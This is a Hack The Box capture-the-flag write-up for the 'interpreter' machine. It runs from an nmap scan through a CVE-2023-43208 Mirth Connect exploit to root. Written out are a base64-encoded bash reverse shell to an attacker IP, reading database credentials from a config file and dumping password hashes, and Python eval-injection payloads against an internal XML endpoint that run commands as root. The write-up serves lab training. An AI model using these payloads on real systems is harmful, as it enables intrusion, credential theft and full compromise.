22/02/26
interpreter
HTB machine Season 10
hackthebox
بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ
In this write-up, we will walk through the steps to hack the interpreter machine on Hack The Box. Let's dive in!
Recon
We began by performing an Nmap scan to identify open ports and services on the target machine.
nmap 10.129.1.159 -A -T5
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-21 20:49 -0500
Nmap scan report for 10.129.1.159
Host is up (0.051s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_ 256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp open http Jetty
|_http-title: Mirth Connect Administrator
| http-methods:
|_ Potentially risky methods: TRACE
443/tcp open ssl/http Jetty
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after: 2075-09-19T12:50:05
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1720/tcp)
HOP RTT ADDRESS
1 49.98 ms 10.10.14.1
2 50.91 ms 10.129.1.159
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.86 seconds
Web app + vulnerability research
so we're gonna access the website and see what application is hosted there , the application seems like an application for healthcare , We're gonna start googling to see if there is any related CVE or something can lead us further
so we find a CVE-2023-43208 so we're gonna try and see if we can get the shell with it so I tried to execute this POC https://github.com/jakabakos/CVE-2023-43208-mirth-connect-rce-poc/blob/master/CVE-2023-43208.py
so I tried many times to execute the simple rev shell , until i see that there is a Runtime.exec() , by asking ChatGPT we know that the Runtime.exec is fragile and weak with the shell metacharacters(>,&) or it can be a WAF who knows , so I tried to encode the rev shell and
shell= $(echo 'bash -i >& /dev/tcp/[ip]/1234 0>&1' | base64)
after that we're gonna execute the payload
python3 CVE-2023-43208.py -u https://[ip] -c "bash -c {echo,($shell)}|{base64,-d}|{bash,-i}"
Initial access
after that we're gonna get the shell with nc
nc -vlntp 1234
listening on [any] 1234 ...
connect to [10.10.14.142] from (UNKNOWN) [10.129.1.155] 44402
bash: cannot set terminal process group (3496): Inappropriate ioctl for device
bash: no job control in this shell
mirth@interpreter:/usr/local/mirthconnect$
Post-exploitation enumeration
we got the shell, we're gonna look inside the machine , and see if something interesting gonna appear , so looking for database or some configuration about the application i found that there are some files in the /usr/local/mirthconnect
cat /usr/local/mirthconnect/conf/mirth.properties
# database credentials
database.username = mirthdb
database.password = MirthPass123!
## Enumearte for User
so we found a password for the database, let's connect and see if there is any password stored there
mirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod -e "select p.ID,p.USERNAME,pp.PASSWORD from PERSON p join PERSON_PASSWORD pp on p.ID=pp.PERSON_ID;"
ID USERNAME PASSWORD
2 sedric u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==
I tried to crack this password but no hope , uncrackable :(
Internal port enumeration
we enumerate the ports to see if there are any open ports
mirth@interpreter:/usr/local/mirthconnect$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0 256 0.0.0.0:6661 0.0.0.0:* users:(("java",pid=3496,fd=335))
LISTEN 0 50 0.0.0.0:80 0.0.0.0:* users:(("java",pid=3496,fd=327))
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 50 0.0.0.0:443 0.0.0.0:* users:(("java",pid=3496,fd=331))
LISTEN 0 128 127.0.0.1:54321 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
hmm a port like 54321 is suspicious , so I send an request to see what on the earth is going on this internal port
timeout 3 bash -c "printf 'GET / HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc 127.0.0.1 54321 -nv" 2>&1 | head -n 40
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/2.2.2 Python/3.11.2
Date: Sun, 22 Feb 2026 03:14:38 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 207
Connection: close
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
hmm a Werkzeug server and python3
after having this information we gonna try to see what process behind this port
# 3) Identify process behind 54321
# 3) Identify process behind 54321
ps -ef | grep -Ei "python|werkzeug|54321" | grep -v grep
mirth@interpreter:/usr/local/mirthconnect$ ps -ef | grep -Ei "python|werkzeug|54321" | grep -v grep
<f | grep -Ei "python|werkzeug|54321" | grep -v grep
root 3461 1 0 19:48 ? 00:00:04 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root 3508 1 0 19:48 ? 00:00:01 /usr/bin/python3 /usr/local/bin/notif.py
Endpoint discovery: /addPatient
so we got fail2ban script and notif.py script , the problem is that we don't have any after a hint from a friend, who told me that there is an endpoint called /addPatient that accept XML I tried to add a patient with this XML to see if it works or not
<patient>
<timestamp>20250101000001</timestamp>
<sender_app>Me</sender_app>
<id>4444</id>
<firstname>Someone</firstname>
<lastname>was</lastname>
<birth_date>09/09/1999</birth_date>
<gender>F</gender>
</patient>
so we're gonna create a one-line Python script that creates this
python3 -c 'import requests;u="http://127.0.0.1:54321/addPatient";x="<patient><timestamp>20250101000001</timestamp><sender_app>Me</sender_app><id>4444</id><firstname>Someone</firstname><lastname>was</lastname><birth_date>09/09/1999</birth_date><gender>M</gender></patient>";r=requests.post(u,data=x,headers={"Content-Type":"application/xml"},timeout=8);print(r.status_code);print(r.text)'
Patient Someone was (M), 27 years old, received from Me at 20250101000001
Exploitation (eval injection)
this is gonna create a patient so we're gonna try if we could inject our payload in the XML code as we did in the first on the CVE
so we're gonna start inject our first payload
import("os").popen("id").read()
we're gonna use the same command we create the patient
python3 - <<'PY'
import requests
u="http://127.0.0.1:54321/addPatient"
p='{import("os").popen("id").read()}'
x=f"<patient><timestamp>20250101120000</timestamp><sender_app>TEST</sender_app><id>12345</id><firstname>{p}</firstname><lastname>Doe</lastname><birth_date>01/01/1990</birth_date><gender>M</gender></patient>"
r=requests.post(u,data=x,headers={"Content-Type":"application/xml"},timeout=8)
print(r.text)
PY
[EVAL_ERROR] f-string: invalid syntax (<string>, line 1)
the payload returns eval syntax error : [EVAL_ERROR] f-string: invalid syntax that proves a f-string-like eval path
so after correcting the python payload we're gonna use this
<firstname>{__import__("os").popen("id").read()}</firstname>
so the output is gonna be like this
python3 - <<'PY'
import requests
u="http://127.0.0.1:54321/addPatient"
p='{__import__("os").popen("id").read().strip()}'
x=f"""<patient>
<timestamp>20250101000001</timestamp>
<sender_app>Me</sender_app>
<id>4444</id>
<firstname>{p}</firstname>
<lastname>was</lastname>
<birth_date>09/09/1999</birth_date>
<gender>F</gender>
</patient>"""
r=requests.post(u,data=x,headers={"Content-Type":"application/xml"},timeout=8)
print(r.text)
PY
Patient uid=0(root) gid=0(root) groups=0(root)
Doe (M), 36 years old, received from TEST at 20250101120000
as we can see, we successfully executed the id command
Reading flags
so all that remains is to read the flag files and that's easy just by modifying the payload page
python3 - <<'PY'
import requests
u="http://127.0.0.1:54321/addPatient"
p='{__import__("builtins").open(chr(47)+"root"+chr(47)+"root.txt").read().strip()}'
x=f"""<patient>
<timestamp>20250101000001</timestamp>
<sender_app>Me</sender_app>
<id>4444</id>
<firstname>{p}</firstname>
<lastname>was</lastname>
<birth_date>09/09/1999</birth_date>
<gender>F</gender>
</patient>"""
r=requests.post(u,data=x,headers={"Content-Type":"application/xml"},timeout=8)
print(r.text)
PY
Patient 7a6af1XXXXXXXXXXXXXXXXXXX Doe (M), 36 years old, received from TEST at 20250101120000
for the user flag, all you need to do is change the payload
__import__("builtins").open(chr(47)+"root"+chr(47)+"root.txt").read().strip()
to this payload
__import__("builtins").open(chr(47)+"home"+chr(47)+"sedric"+chr(47)+"user.txt").read().strip()
Note: I tried many times to get the shell code , but all I got is 200 [INVALID_INPUT]

